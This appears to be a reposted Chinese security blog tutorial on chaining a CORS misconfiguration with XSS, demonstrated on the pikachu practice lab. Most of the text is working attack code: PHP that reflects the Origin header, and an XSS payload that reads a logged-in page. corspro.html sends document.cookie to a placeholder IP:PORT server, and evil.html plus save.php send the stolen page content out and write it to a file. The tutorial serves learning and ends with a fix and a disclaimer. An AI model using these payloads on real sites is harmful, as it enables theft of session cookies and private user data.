扫码领资料
获黑客教程
免费&进群
这两个漏洞想必大家都有过了解,但是对于结合使用方面或许有些不清楚的点,我总结归纳了利用方法和原理。
关于这两个漏洞的结合使用,首先需要搭建环境。
这里以pikachu靶场为例子,这里以http://www.test.com/pikachu/vul/infoleak/abc.php登录后的页面假设为敏感页面
对页面进行配置,添加CORS跨域的配置,这里配置从request中获取Origin为可信任的域
if (isset($_SERVER['HTTP_ORIGIN'])) {
header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
//header("Access-Control-Allow-Origin: www.test.com");
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Max-Age: 86400'); // cache for 1 day
}
完成存在CORS漏洞的配置,测试存在CORS漏洞
这里都看不懂的可以去看看这个:
https://www.cnblogs.com/byErichas/p/15918919.html
一个能用的CORS POC
cors.html
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center> cors proof-of-concept:<br>
<br>
<textarea rows="10" cols="60" id="pwnz"></textarea>
<br>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
alert(document.location);
}
};
xhttp.open("GET","http://www.test.com/pikachu/vul/infoleak/abc.php","true");
xhttp.withCredentials = true;
xhttp.send(); }
</script>
测试一下,可以成功获取html页面信息
搭建在服务器上看看,同样能够成功。(这里就没贴图了)
ok这里利用XSS来把payload部分替换,实际利用中是存储型的,原理上dom也可以,这里展示dom型的
<script>function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.body.innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://www.test.com/pikachu/vul/infoleak/abc.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors(); </script>
URL编码后访问
CORS利用进阶
上面的操作都是直接在本地的,是为了熟悉原理。
实战中结合利用应该是用服务器搭建一个恶意页面E,用XSS触发去访问这个页面E,再通过这个恶意页面E去访问敏感信息页面C,把敏感信息发送的到服务器,完成攻击。其中也能获取cookie,但有时候能否成功还受到浏览器同源策略的影响。
这里补充一个Tips:
在谷歌浏览器中我曾看看有一个Secure属性,目前默认都是开启的
在setSecure(true); 的情况下,只有https才传递到服务器端。http是不会传递的。所以有时候cookie不传递和浏览器也有很大关系。
具体要视情况来分析。
接着说
这里实现了把敏感数据发送到服务器上,HTML的代码不懂的可以去看看:
参考Ajax用法
corspro.html
<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
var xx = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
//this.responseText 太长导致访问不了,不能简单的通过url访问来记录
// location="http://IP:PORT/cors/?response="+this.responseText;
location="http://IP:PORT/cors/?response="+document.cookie;
xx.open("GET",location,true);
xx.send();
}
};
xhttp.open("GET", "http://www.test.com/pikachu/vul/infoleak/abc.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
这个方法有个问题就是获取信息过长,就会读取不到,这是一个坑点。
改成短一些的信息,比如cookie,就成功读取到了
优化方案
想要获取更多的数据,怎么办?
换一种方法,把读取到的html给直接写入到文件中保存
evil.html
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
//保存的php代码文件位置
xhr2.open("POST","http://www.test.com/save.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("msf="+escape(datas));
}
}
//敏感页面访问
xhr1.open("GET","http://www.test.com/pikachu/vul/infoleak/abc.php","true") //request user page.
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
</html>
save.php
//把通过evil.html获取到的页面数据写入到get_data。html中去
$myfile = fopen("get_data.html", "w") or die("Unable to open file!");
$txt = $_POST['msf'];
fwrite($myfile, $txt);
fclose($myfile);
?>
成功保存文件,不过编码有点问题,这里的汉字都被转换成了unicode编码,需要去转换一下编码
CrossSiteContentHijacking
这里用一个叫做CrossSiteContentHijacking(https://github.com/nccgroup/CrossSiteContentHijacking)的项目来测试,多了一种检测的方法
用服务器搭建好这个项目,然后在www.test.com所在浏览器打开
选择target 和type,然后点Retrieve Contents
证明能成功的跨域访问到
如果修改CORS配置,设置成www.test.com才能访问跨域资源
然后就不能访问了,当然前面的cors.html
的poc也是同理不能用了
必须来自于Origin:www.test.com才可以。
所以不安全CORS配置,还是存在一定的安全隐患。
原文地址:https://www.freebuf.com/vuls/358289.html
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
看到这里了,点个“赞”、“再看”吧
文章引用微信公众号"白帽子左一",如有侵权,请联系管理员删除!